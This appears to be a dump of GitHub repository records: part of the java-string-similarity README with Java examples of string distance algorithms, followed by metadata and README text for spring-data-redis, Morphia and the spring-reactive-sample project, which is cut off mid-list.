NormalizedLevenshtein is an example of NormalizedStringDistance. Generally, algorithms that implement NormalizedStringSimilarity also implement NormalizedStringDistance, and similarity = 1 - distance. But there are a few exceptions, like N-Gram similarity and distance (Kondrak)... ### Metric distances The MetricStringDistance interface : A few of the distances are actually metric distances, which means that verify the triangle inequality d(x, y) <= d(x,z) + d(z,y). For example, Levenshtein is a metric distance, but NormalizedLevenshtein is not. A lot of nearest-neighbor search algorithms and indexing structures rely on the triangle inequality. You can check "Similarity Search, The Metric Space Approach" by Zezula et al. for a survey. These cannot be used with non metric similarity measures. [Read Javadoc for a detailed description](http://www.javadoc.io/doc/info.debatty/java-string-similarity) ## Shingles (n-gram) based similarity and distance A few algorithms work by converting strings into sets of n-grams (sequences of n characters, also sometimes called k-shingles). The similarity or distance between the strings is then the similarity or distance between the sets. Some of them, like jaccard, consider strings as sets of shingles, and don't consider the number of occurences of each shingle. Others, like cosine similarity, work using what is sometimes called the profile of the strings, which takes into account the number of occurences of each shingle. For these algorithms, another use case is possible when dealing with large datasets: 1. compute the set or profile representation of all the strings 2. compute the similarity between sets or profiles ## Levenshtein The Levenshtein distance between two words is the minimum number of single-character edits (insertions, deletions or substitutions) required to change one word into the other. It is a metric string distance. This implementation uses dynamic programming (Wagner–Fischer algorithm), with only 2 rows of data. The space requirement is thus O(m) and the algorithm runs in O(m.n). ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main (String[] args) { Levenshtein l = new Levenshtein(); System.out.println(l.distance("My string", "My $tring")); System.out.println(l.distance("My string", "My $tring")); System.out.println(l.distance("My string", "My $tring")); } } ``` ## Normalized Levenshtein This distance is computed as levenshtein distance divided by the length of the longest string. The resulting value is always in the interval [0.0 1.0] but it is not a metric anymore! The similarity is computed as 1 - normalized distance. ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main (String[] args) { NormalizedLevenshtein l = new NormalizedLevenshtein(); System.out.println(l.distance("My string", "My $tring")); System.out.println(l.distance("My string", "My $tring")); System.out.println(l.distance("My string", "My $tring")); } } ``` ## Weighted Levenshtein An implementation of Levenshtein that allows to define different weights for different character substitutions. This algorithm is usually used for optical character recognition (OCR) applications. For OCR, the cost of substituting P and R is lower then the cost of substituting P and M for example because because from and OCR point of view P is similar to R. It can also be used for keyboard typing auto-correction. Here the cost of substituting E and R is lower for example because these are located next to each other on an AZERTY or QWERTY keyboard. Hence the probability that the user mistyped the characters is higher. ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { WeightedLevenshtein wl = new WeightedLevenshtein( new CharacterSubstitutionInterface() { public double cost(char c1, char c2) { // The cost for substituting 't' and 'r' is considered // smaller as these 2 are located next to each other // on a keyboard if (c1 == 't' && c2 == 'r') { return 0.5; } // For most cases, the cost of substituting 2 characters // is 1.0 return 1.0; } }); System.out.println(wl.distance("String1", "Srring2")); } } ``` ## Damerau-Levenshtein Similar to Levenshtein, Damerau-Levenshtein distance with transposition (also sometimes calls unrestricted Damerau-Levenshtein distance) is the minimum number of operations needed to transform one string into the other, where an operation is defined as an insertion, deletion, or substitution of a single character, or a **transposition of two adjacent characters**. It does respect triangle inequality, and is thus a metric distance. This is not to be confused with the optimal string alignment distance, which is an extension where no substring can be edited more than once. ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { Damerau d = new Damerau(); // 1 substitution System.out.println(d.distance("ABCDEF", "ABDCEF")); // 2 substitutions System.out.println(d.distance("ABCDEF", "BACDFE")); // 1 deletion System.out.println(d.distance("ABCDEF", "ABCDE")); System.out.println(d.distance("ABCDEF", "BCDEF")); System.out.println(d.distance("ABCDEF", "ABCGDEF")); // All different System.out.println(d.distance("ABCDEF", "POIU")); } } ``` Will produce: ``` 1.0 2.0 1.0 1.0 1.0 6.0 ``` ## Optimal String Alignment The Optimal String Alignment variant of Damerau–Levenshtein (sometimes called the restricted edit distance) computes the number of edit operations needed to make the strings equal under the condition that **no substring is edited more than once**, whereas the true Damerau–Levenshtein presents no such restriction. The difference from the algorithm for Levenshtein distance is the addition of one recurrence for the transposition operations. Note that for the optimal string alignment distance, the triangle inequality does not hold and so it is not a true metric. ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { OptimalStringAlignment osa = new OptimalStringAlignment(); System.out.println(osa.distance("CA", "ABC"));; } } ``` Will produce: ``` 3.0 ``` ## Jaro-Winkler Jaro-Winkler is a string edit distance that was developed in the area of record linkage (duplicate detection) (Winkler, 1990). The Jaro–Winkler distance metric is designed and best suited for short strings such as person names, and to detect transposition typos. Jaro-Winkler computes the similarity between 2 strings, and the returned value lies in the interval [0.0, 1.0]. It is (roughly) a variation of Damerau-Levenshtein, where the transposition of 2 close characters is considered less important than the transposition of 2 characters that are far from each other. Jaro-Winkler penalizes additions or substitutions that cannot be expressed as transpositions. The distance is computed as 1 - Jaro-Winkler similarity. ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { JaroWinkler jw = new JaroWinkler(); // substitution of s and t System.out.println(jw.similarity("My string", "My tsring")); // substitution of s and n System.out.println(jw.similarity("My string", "My ntrisg")); } } ``` will produce: ``` 0.9740740656852722 0.8962963223457336 ``` ## Longest Common Subsequence The longest common subsequence (LCS) problem consists in finding the longest subsequence common to two (or more) sequences. It differs from problems of finding common substrings: unlike substrings, subsequences are not required to occupy consecutive positions within the original sequences. It is used by the diff utility, by Git for reconciling multiple changes, etc. The LCS distance between strings X (of length n) and Y (of length m) is n + m - 2 |LCS(X, Y)| min = 0 max = n + m LCS distance is equivalent to Levenshtein distance when only insertion and deletion is allowed (no substitution), or when the cost of the substitution is the double of the cost of an insertion or deletion. This class implements the dynamic programming approach, which has a space requirement O(m.n), and computation cost O(m.n). In "Length of Maximal Common Subsequences", K.S. Larsen proposed an algorithm that computes the length of LCS in time O(log(m).log(n)). But the algorithm has a memory requirement O(m.n²) and was thus not implemented here. ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { LongestCommonSubsequence lcs = new LongestCommonSubsequence(); // Will produce 4.0 System.out.println(lcs.distance("AGCAT", "GAC")); // Will produce 1.0 System.out.println(lcs.distance("AGCAT", "AGCT")); } } ``` ## Metric Longest Common Subsequence Distance metric based on Longest Common Subsequence, from the notes "An LCS-based string metric" by Daniel Bakkelund. http://heim.ifi.uio.no/~danielry/StringMetric.pdf The distance is computed as 1 - |LCS(s1, s2)| / max(|s1|, |s2|) ```java public class MyApp { public static void main(String[] args) { info.debatty.java.stringsimilarity.MetricLCS lcs = new info.debatty.java.stringsimilarity.MetricLCS(); String s1 = "ABCDEFG"; String s2 = "ABCDEFHJKL"; // LCS: ABCDEF => length = 6 // longest = s2 => length = 10 // => 1 - 6/10 = 0.4 System.out.println(lcs.distance(s1, s2)); // LCS: ABDF => length = 4 // longest = ABDEF => length = 5 // => 1 - 4 / 5 = 0.2 System.out.println(lcs.distance("ABDEF", "ABDIF")); } } ``` ## N-Gram Normalized N-Gram distance as defined by Kondrak, "N-Gram Similarity and Distance", String Processing and Information Retrieval, Lecture Notes in Computer Science Volume 3772, 2005, pp 115-126. http://webdocs.cs.ualberta.ca/~kondrak/papers/spire05.pdf The algorithm uses affixing with special character '\n' to increase the weight of first characters. The normalization is achieved by dividing the total similarity score the original length of the longest word. In the paper, Kondrak also defines a similarity measure, which is not implemented (yet). ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { // produces 0.583333 NGram twogram = new NGram(2); System.out.println(twogram.distance("ABCD", "ABTUIO")); // produces 0.97222 String s1 = "Adobe CreativeSuite 5 Master Collection from cheap 4zp"; String s2 = "Adobe CreativeSuite 5 Master Collection from cheap d1x"; NGram ngram = new NGram(4); System.out.println(ngram.distance(s1, s2)); } } ``` ## Shingle (n-gram) based algorithms A few algorithms work by converting strings into sets of n-grams (sequences of n characters, also sometimes called k-shingles). The similarity or distance between the strings is then the similarity or distance between the sets. The cost for computing these similarities and distances is mainly domnitated by k-shingling (converting the strings into sequences of k characters). Therefore there are typically two use cases for these algorithms: Directly compute the distance between strings: ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { QGram dig = new QGram(2); // AB BC CD CE // 1 1 1 0 // 1 1 0 1 // Total: 2 System.out.println(dig.distance("ABCD", "ABCE")); } } ``` Or, for large datasets, pre-compute the profile of all strings. The similarity can then be computed between profiles: ```java import info.debatty.java.stringsimilarity.KShingling; import info.debatty.java.stringsimilarity.StringProfile; /** * Example of computing cosine similarity with pre-computed profiles. */ public class PrecomputedCosine { public static void main(String[] args) throws Exception { String s1 = "My first string"; String s2 = "My other string..."; // Let's work with sequences of 2 characters... Cosine cosine = new Cosine(2); // Pre-compute the profile of strings Map<String, Integer> profile1 = cosine.getProfile(s1); Map<String, Integer> profile2 = cosine.getProfile(s2); // Prints 0.516185 System.out.println(cosine.similarity(profile1, profile2)); } } ``` Pay attention, this only works if the same KShingling object is used to parse all input strings ! ### Q-Gram Q-gram distance, as defined by Ukkonen in "Approximate string-matching with q-grams and maximal matches" http://www.sciencedirect.com/science/article/pii/0304397592901434 The distance between two strings is defined as the L1 norm of the difference of their profiles (the number of occurences of each n-gram): SUM( |V1_i - V2_i| ). Q-gram distance is a lower bound on Levenshtein distance, but can be computed in O(m + n), where Levenshtein requires O(m.n) ### Cosine similarity The similarity between the two strings is the cosine of the angle between these two vectors representation, and is computed as V1 . V2 / (|V1| * |V2|) Distance is computed as 1 - cosine similarity. ### Jaccard index Like Q-Gram distance, the input strings are first converted into sets of n-grams (sequences of n characters, also called k-shingles), but this time the cardinality of each n-gram is not taken into account. Each input string is simply a set of n-grams. The Jaccard index is then computed as |V1 inter V2| / |V1 union V2|. Distance is computed as 1 - similarity. Jaccard index is a metric distance. ### Sorensen-Dice coefficient Similar to Jaccard index, but this time the similarity is computed as 2 * |V1 inter V2| / (|V1| + |V2|). Distance is computed as 1 - similarity. ## Ratcliff-Obershelp Ratcliff/Obershelp Pattern Recognition, also known as Gestalt Pattern Matching, is a string-matching algorithm for determining the similarity of two strings. It was developed in 1983 by John W. Ratcliff and John A. Obershelp and published in the Dr. Dobb's Journal in July 1988 Ratcliff/Obershelp computes the similarity between 2 strings, and the returned value lies in the interval [0.0, 1.0]. The distance is computed as 1 - Ratcliff/Obershelp similarity. ```java import info.debatty.java.stringsimilarity.*; public class MyApp { public static void main(String[] args) { RatcliffObershelp ro = new RatcliffObershelp(); // substitution of s and t System.out.println(ro.similarity("My string", "My tsring")); // substitution of s and n System.out.println(ro.similarity("My string", "My ntrisg")); } } ``` will produce: ``` 0.8888888888888888 0.7777777777777778 ``` ## Experimental ### SIFT4 SIFT4 is a general purpose string distance algorithm inspired by JaroWinkler and Longest Common Subsequence. It was developed to produce a distance measure that matches as close as possible to the human perception of string distance. Hence it takes into account elements like character substitution, character distance, longest common subsequence etc. It was developed using experimental testing, and without theoretical background. ``` import info.debatty.java.stringsimilarity.experimental.Sift4; public class MyApp { public static void main(String[] args) { String s1 = "This is the first string"; String s2 = "And this is another string"; Sift4 sift4 = new Sift4(); sift4.setMaxOffset(5); double expResult = 11.0; double result = sift4.distance(s1, s2); assertEquals(expResult, result, 0.0); } } ``` ## Users * [StringSimilarity.NET](https://github.com/feature23/StringSimilarity.NET) a .NET port of java-string-similarity * [OrientDB string-metrics](https://github.com/orientechnologies/extra-functions/tree/master/string-metrics) wraps java-string-similarity to provide different string similarity and distance measures as SQL functions in [OrientDB](https://github.com/orientechnologies/orientdb) Use java-string-similarity in your project and want it to be mentioned here? Don't hesitate to drop me a line! ## Security & stability [![security status](https://www.meterian.io/badge/gh/tdebatty/java-string-similarity/security)](https://www.meterian.io/report/gh/tdebatty/java-string-similarity) [![stability status](https://www.meterian.io/badge/gh/tdebatty/java-string-similarity/stability)](https://www.meterian.io/report/gh/tdebatty/java-string-similarity)
0
spring-projects/spring-data-redis
Provides support to increase developer productivity in Java when using Redis, a key-value store. Uses familiar Spring concepts such as a template classes for core API usage and lightweight repository style data access.
2011-07-01T11:57:33Z
null
null
0
MorphiaOrg/morphia
MongoDB object-document mapper in Java based on https://github.com/mongodb/mongo-java-driver
2013-04-25T17:41:02Z
null
# Morphia [![Build Status](https://github.com/MorphiaOrg/morphia/actions/workflows/build.yml/badge.svg)](https://github.com/MorphiaOrg/morphia/actions?query=workflow%3ATests) See [here](https://morphia.dev) for the official documentation. To see the roadmap, please see [here](Roadmap.md). A list of the resolved issues can be found [here](CHANGELOG.md) or in the [milestones](https://github.com/MorphiaOrg/morphia/milestones) section on github. Fancy a more real time chat? Join the discord server [here](https://discord.gg/saZsJescBa).
0
hantsy/spring-reactive-sample
Spring 5/6 Reactive playground
2017-07-24T15:10:55Z
null
# Spring Reactive Sample This is a sandbox project for demonstrating [Reactive Streams](https://www.reactive-streams.org/) support in Spring framework and Spring ecosystem. *I've also maintained a series of repos related to ReativeStreams and the latest Spring 5*. * [Spring RSocket Sample](https://github.com/hantsy/rsocket-sample) * [Spring Kotlin Coroutines Example](https://github.com/hantsy/spring-kotlin-coroutines-sample) * [Spring Kotlin DSL/Spring Fu Sample](https://github.com/hantsy/spring-kotlin-dsl-sample) * [Spring WebMvc Functional Example](https://github.com/hantsy/spring-webmvc-functional-sample) * [Angular and Spring Reactive Example](https://github.com/hantsy/angular-spring-reactive-sample) * [Spring R2dbc Example](https://github.com/hantsy/spring-r2dbc-sample)(updates for *Spring 5.3, Spring Data R2dbc 1.2 and Spring Boot 2.4*) >The source codes are updated to **Spring 6/Spring Boot 3.0**, the Spring Boot 2.7.x based codes are available in [a compressed archive](https://github.com/hantsy/spring-reactive-sample/archive/refs/tags/v1.0.zip) and tagged with [v1.0](https://github.com/hantsy/spring-reactive-sample/releases/tag/v1.0). ## Docs Read online: [https://hantsy.github.io/spring-reactive-sample/](https://hantsy.github.io/spring-reactive-sample/) ## Sample Codes The following table list all sample codes related to the above posts. ### Spring Samples | name | description | | :----------------------------------------------------------- | ------------------------------------------------------------ | | [vanilla](https://github.com/hantsy/spring-reactive-sample/tree/master/vanilla) | The initial application, includes basic `spring-webflux` feature, use a main class to start up the application | | [vanilla-reactor-netty2](https://github.com/hantsy/spring-reactive-sample/tree/master/vanilla-reactor-netty2) | Same as **vanilla**, but use Reactor Netty5 2.x as target runtime | | [vanilla-jetty](https://github.com/hantsy/spring-reactive-sample/tree/master/vanilla-jetty) | Same as **vanilla**, but use Jetty as target runtime | | [vanilla-tomcat](https://github.com/hantsy/spring-reactive-sample/tree/master/vanilla-tomcat) | Same as **vanilla**, but use Reactor Netty as target runtime | | [vanilla-undertow](https://github.com/hantsy/spring-reactive-sample/tree/master/vanilla-undertow) | Same as **vanilla**, but use Undertow as target runtime | | [java8](https://github.com/hantsy/spring-reactive-sample/tree/master/java8) | Java 8 `CompletableFuture` and `@Async` example | | [java9](https://github.com/hantsy/spring-reactive-sample/tree/master/java9) | Same as **vanilla**, Java 9 Flow API support is not ready in Spring 5.0.0.REALESE, planned in 5.0.1, see issue [SPR-16052](https://jira.spring.io/browse/SPR-16052) and the original [discussion on stackoverflow](https://stackoverflow.com/questions/46597924/spring-5-supports-java-9-flow-apis-in-its-reactive-feature/46605983#46605983) | | [rxjava3](https://github.com/hantsy/spring-reactive-sample/tree/master/rxjava3) | Same as **vanilla**, but use Rxjava3 instead of Reactor, since Spring 5.3.0 | | [smallrye-mutiny](https://github.com/hantsy/spring-reactive-sample/tree/master/smallrye-mutiny) | Same as **vanilla**, but use [SmallRye Mutiny](https://smallrye.io/smallrye-mutiny) instead of Reactor, since Spring 5.3.10 | | [war](https://github.com/hantsy/spring-reactive-sample/tree/master/war) | Replace the manual bootstrap class in **vanilla** with Spring `ApplicationInitializer`, it can be packaged as a **war** file to be deployed into an external servlet container. | | [routes](https://github.com/hantsy/spring-reactive-sample/tree/master/routes) | Use `RouterFunction` instead of controller in **vanilla** | | [register-bean](https://github.com/hantsy/spring-reactive-sample/tree/master/register-bean) | Programmatic approach to register all beans in `ApplicatonContext` at the application bootstrap | | [data-elasticsearch](https://github.com/hantsy/spring-reactive-sample/tree/master/data-elasticsearch) | Spring Data ElasticSearch Reactive example | [data-neo4j](https://github.com/hantsy/spring-reactive-sample/tree/master/data-neo4j) | Spring Data Neo4j reactive example | | [data-mongo](https://github.com/hantsy/spring-reactive-sample/tree/master/data-mongo) | Spring Data Mongo Reactive example | | [data-mongo-pageable](https://github.com/hantsy/spring-reactive-sample/tree/master/data-mongo-pageable) | Spring Data Mongo Reactive example with pagination support | | [data-mongo-transaction](https://github.com/hantsy/spring-reactive-sample/tree/master/data-mongo-transaction) | Spring Data Mongo Reactive example with `Transaction` support | | [data-redis](https://github.com/hantsy/spring-reactive-sample/tree/master/data-redis) | Spring Data Redis Reactive example | | [data-redis-message](https://github.com/hantsy/spring-reactive-sample/tree/master/data-redis-message) | Spring Data Redis Reactive Example with `ReactiveRedisMessageListenerContainer` | | [data-cassandra](https://github.com/hantsy/spring-reactive-sample/tree/master/data-cassandra) | Spring Data Cassandra Reactive example | | [data-couchbase](https://github.com/hantsy/spring-reactive-sample/tree/master/data-couchbase) | Spring Data Couchbase Reactive example | | [security](https://github.com/hantsy/spring-reactive-sample/tree/master/security) | Based on **vanilla**, add Spring Security Reactive support | | [security-form](https://github.com/hantsy/spring-reactive-sample/tree/master/security-form) | Same as security, login form example | | [security-user-properties](https://github.com/hantsy/spring-reactive-sample/tree/master/security-user-properties) | Same as security, but use *users.properties* to store users | | [security-method](https://github.com/hantsy/spring-reactive-sample/tree/master/security-method) | Replace URI based configuration with method level constraints | | [security-data-mongo](https://github.com/hantsy/spring-reactive-sample/tree/master/security-data-mongo) | Based on **data-mongo** and **security**, replace with dummy users in hard codes with Mongo driven store | | [multipart](https://github.com/hantsy/spring-reactive-sample/tree/master/multipart) | Multipart request handling and file uploading | | [multipart-data-mongo](https://github.com/hantsy/spring-reactive-sample/tree/master/multipart-data-mongo) | Multipart and file uploading, but data in Mongo via Spring Data Mongo Reactive `GridFsTemplate` | | [mvc-thymeleaf](https://github.com/hantsy/spring-reactive-sample/tree/master/mvc-thymeleaf) | Traditional web application, use Thymeleaf as template engine | | [mvc-mustache](https://github.com/hantsy/spring-reactive-sample/tree/master/mvc-mustache) | Traditional web application, use Mustache as template engine | | [mvc-freemarker](https://github.com/hantsy/spring-reactive-sample/tree/master/mvc-freemarker) | Traditional web application, use freemarker as template engine | | [sse](https://github.com/hantsy/spring-reactive-sample/tree/master/sse) | Server Send Event example | | [websocket](https://github.com/hantsy/spring-reactive-sample/tree/master/websocket) | WebSocket example | | [websocket-reactor-netty2](https://github.com/hantsy/spring-reactive-sample/tree/master/websocket-reactor-netty2) | WebSocket example with Reactor Netty2 | | [web-filter](https://github.com/hantsy/spring-reactive-sample/tree/master/web-filter) | `WebFilter` example | | [groovy](https://github.com/hantsy/spring-reactive-sample/tree/master/groovy) | Written in groovy | | [groovy-dsl](https://github.com/hantsy/spring-reactive-sample/tree/master/groovy-dsl) | Groovy DSL bean definition example | | [client](https://github.com/hantsy/spring-reactive-sample/tree/master/client) | Example of `WebClient` to shake hands with backend reactive APIs | | [client-jetty](https://github.com/hantsy/spring-reactive-sample/tree/master/client-jetty) | Example of `WebClient` with Jetty Reactive HttpClient | | [client-reactor-netty2](https://github.com/hantsy/spring-reactive-sample/tree/master/client-reactor-netty2) | Example of `WebClient` with Reactor Netty5 2.x HttpClient | | [client-jdk11-httpclient](https://github.com/hantsy/spring-reactive-sample/tree/master/client-jdk11-httpclient) | Example of `WebClient` with JDK 11 HttpClient | | [client-apache-httpclient5](https://github.com/hantsy/spring-reactive-sample/tree/master/client-apache-httpclient5) | Example of `WebClient` with Apache HttpClient5 | | [cache](https://github.com/hantsy/spring-reactive-sample/tree/master/cache) | Example of Cache Aync/Reactive support(with in-memory `ConcurrentHashMap`) | | [cache-caffeine](https://github.com/hantsy/spring-reactive-sample/tree/master/cache-caffeine) | Example of Cache Aync/Reactive support with Caffeine | | [cache-redis](https://github.com/hantsy/spring-reactive-sample/tree/master/cache-redis) | Example of Cache Aync/Reactive support with Redis | | [event](https://github.com/hantsy/spring-reactive-sample/tree/master/event) | Application Event Reactive Example | [kotlin](https://github.com/hantsy/spring-reactive-sample/tree/master/kotlin) | Written in kotlin | | [kotlin-co](https://github.com/hantsy/spring-reactive-sample/tree/master/kotlin-co) | Written in kotlin Coroutines | | [kotlin-routes](https://github.com/hantsy/spring-reactive-sample/tree/master/kotlin-routes) | Use kotlin functional approach to declare beans and bootstrap the application programmatically | | [kotlin-dsl](https://github.com/hantsy/spring-reactive-sample/tree/master/kotlin-dsl) | Kotlin DSL bean definition example | | [schedule](https://github.com/hantsy/spring-reactive-sample/tree/master/schedule) | Spring Schedule Reactive Example | | [session](https://github.com/hantsy/spring-reactive-sample/tree/master/session) | Spring Session Example | | [session-header](https://github.com/hantsy/spring-reactive-sample/tree/master/session-header) | Spring Session `WebSessionIdResolver` Example | | [session-data-redis](https://github.com/hantsy/spring-reactive-sample/tree/master/session-data-redis) | Spring Data Redis based `ReactiveSessionRepository` Example | | [session-data-mongo](https://github.com/hantsy/spring-reactive-sample/tree/master/session-data-mongo) | Spring Data Mongo based `ReactiveSessionRepository` Example | | [exception-handler](https://github.com/hantsy/spring-reactive-sample/tree/master/exception-handler) | Exception Handler Example | | [integration](https://github.com/hantsy/spring-reactive-sample/tree/master/integration) | Spring Integration Example | | [integration-dsl](https://github.com/hantsy/spring-reactive-sample/tree/master/integration-dsl) | Spring Integration Java 8 DSL Example | | [restdocs](https://github.com/hantsy/spring-reactive-sample/tree/master/restdocs) | Spring RestDocs Example | ### Spring Boot Samples | name | description | | :----------------------------------------------------------- | ------------------------------------------------------------ | | [boot-start](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-start) | Spring Boot example, including 3 Maven profiles to switch to Jetty, Tomcat, Undertow as target runtime | | [boot-start-routes](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-start-routes) | Simple `RouterFunction` example | | [boot-mvc-thymeleaf](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-mvc-thymeleaf) | Same as mvc-thymeleaf, but based on Spring Boot | | [boot-mvc-mustache](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-mvc-mustache) | Same as mvc-mustache, but based on Spring Boot | | [boot-mvc-freemarker](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-mvc-freemarker) | Same as mvc-freemarker, but based on Spring Boot | | [boot-groovy](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-groovy) | Written in Groovy | | [boot-kotlin](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-kotlin) | Written in Kotlin | | [boot-kotlin-co](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-kotlin-co) | Written in Kotlin Coroutines | | [boot-kotlin-dsl](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-kotlin-dsl) | Kotlin specific `BeanDefinitionDSL` and `RouterFunctionDsl` Example | | [boot-kotlin-co-dsl](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-kotlin-co-dsl) | Kotlin specific `BeanDefinitionDSL`, `CoRouterFunctionDsl` Example | | [boot-redis](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-redis) | Example of using `ReactiveRedisConnection` and `RouterFunction` | | [boot-data-redis](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-redis) | Spring Data Redis Example | | [boot-data-neo4j](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-neo4j) | Spring Data Neo4j example (Spring Boot 2.4) | | [boot-neo4j](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-neo4j) | Spring Data Neo4j using `ReactiveNeo4jOperations` (Spring Boot 2.4) | | [boot-neo4j-cypher](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-neo4j-cypher) | Spring Data Neo4j using `ReacitveNeo4jClient` (Spring Boot 2.4) | | [boot-data-cassandra](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-cassandra) | Spring Data Cassandra Example | | [boot-data-couchbase](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-couchbase) | Spring Data Couchbase Example | | [boot-data-elasticsearch](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-elasticsearch) | Spring Data ElasticSearch Example | | [boot-data-mongo](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-mongo) | Spring Data Mongo Example(Repository, Auditing, testcontainers) | | [boot-data-mongo-querydsl](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-mongo-querydsl) | Spring Data Mongo Example with QueryDSL support | | [boot-data-mongo-gridfs](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-mongo-gridfs) | Spring Data Mongo Example with Gridfs support | | [boot-data-mongo-tailable](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-mongo-tailable) | Spring Data Mongo tailable document example | | [boot-exception-handler](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-exception-handler) | Global Exception Handler | | [boot-pulsar](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-pulsar) | Spring for Pulsar Reactive Example | ### Legacy Codes Some example codes are becoming deprecated as time goes by, eg. the [SDN Rx project](https://github.com/neo4j/sdn-rx) which was maintained by the Neo4j team is discontinued now, it is highly recommended to migrate to the official [Spring Data Neo4j](https://github.com/spring-projects/spring-data-neo4j). And Spring Data R2dbc 1.2 added a lot of breaking changes, so I created another [Spring R2dbc Sample repository](https://github.com/hantsy/spring-r2dbc-sample) to introduce the new features. Spring [removed support of RxJava/RxJava2](https://github.com/spring-projects/spring-framework/issues/27443), and other projects, such as Spring Data will remove RxJava/RxJava2 support soon. | name | description | | :----------------------------------------------------------- | ------------------------------------------------------------ | | [data-r2dbc](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/data-r2dbc) | Spring Data R2dbc Example. (*Deprecated*, go to [hantsy/spring-r2dbc-sample](https://github.com/hantsy/spring-r2dbc-sample) to update yourself) | | [data-r2dbc-postgresql](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/data-r2dbc-postgresql) | Spring Data R2dbc Example, but use PostgreSQL instead(*Deprecated*) | | [boot-r2dbc](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-r2dbc) | Spring Data R2dbc example using `DatabaseClient`(*Deprecated*) | | [boot-data-r2dbc](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-data-r2dbc) | Spring Data R2dbc example(*Deprecated*) | | [boot-data-r2dbc-auditing](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-data-r2dbc-auditing) | `@EnableR2dbcAuditing` example(*Deprecated*) | | [boot-data-r2dbc-postgresql](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-data-r2dbc-postgresql) | Same as boot-data-r2dbc, but use PostgresSQL instead(*Deprecated*) | | [boot-data-r2dbc-mysql](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-data-r2dbc-mysql) | Same as boot-data-r2dbc, but use MySQL instead(*Deprecated*) | | [boot-data-r2dbc-mssql](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-data-r2dbc-mssql) | Same as boot-data-r2dbc, but use MS SQL instead(*Deprecated*) | | [boot-neo4j-rx](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-neo4j-rx) | [SDN Rx](https://github.com/neo4j/sdn-rx) Example but use `ReactiveNeo4jClient`(*Deprecated*) | | [boot-neo4j-rx-cypher](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-neo4j-rx-cypher) | [SDN Rx](https://github.com/neo4j/sdn-rx) Example using Cypher queries(*Deprecated*) | | [boot-data-neo4j-rx](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-data-neo4j-rx) | [SDN Rx](https://github.com/neo4j/sdn-rx) Example(*Deprecated*) | | [rxjava](https://github.com/hantsy/spring-reactive-sample/tree/master/rxjava) | Same as **vanilla**, but use Rxjava instead of Reactor | | [rxjava-jdbc](https://github.com/hantsy/spring-reactive-sample/tree/master/rxjava-jdbc) | Accessing database with rxjava-jdbc. **NOTE: rxjava-jdbc is a wrapper of blocking Jdbc APIs** | | [rxjava2](https://github.com/hantsy/spring-reactive-sample/tree/master/rxjava2) | Same as **vanilla**, but use Rxjava2 instead of Reactor | | [rxjava2-jdbc](https://github.com/hantsy/spring-reactive-sample/tree/master/rxjava2-jdbc) | Accessing database with rxjava2-jdbc. **NOTE: rxjava2-jdbc is a wrapper of blocking Jdbc APIs** | ## References * [Reactive Streams](http://www.reactive-streams.org/), official Reactive Streams website * [Understanding Reactive types](https://spring.io/blog/2016/04/19/understanding-reactive-types), Spring.IO * [The WebFlux framework](http://docs.spring.io/spring-framework/docs/5.0.x/spring-framework-reference/web.html#web-reactive), Spring Framework Reference Documentation * [Reactor Core 3.0 becomes a unified Reactive Foundation on Java 8](https://spring.io/blog/2016/03/11/reactor-core-3-0-becomes-a-unified-reactive-foundation-on-java-8), Spring.IO * [Reactive Spring](https://spring.io/blog/2016/02/09/reactive-spring), Spring.IO * Three parts of **Notes on Reactive Programming** by Dave Syer: * [Notes on Reactive Programming Part I: The Reactive Landscape](https://spring.io/blog/2016/06/07/notes-on-reactive-programming-part-i-the-reactive-landscape) * [Notes on Reactive Programming Part II: Writing Some Code](https://spring.io/blog/2016/06/13/notes-on-reactive-programming-part-ii-writing-some-code) * [Notes on Reactive Programming Part III: A Simple HTTP Server Application](https://spring.io/blog/2016/07/20/notes-on-reactive-programming-part-iii-a-simple-http-server-application) * [Reactive Programming in the Netflix API with RxJava](https://medium.com/netflix-techblog/reactive-programming-in-the-netflix-api-with-rxjava-7811c3a1496a) * [Reactor by Example](https://www.infoq.com/articles/reactor-by-example) * [New in Spring 5: Functional Web 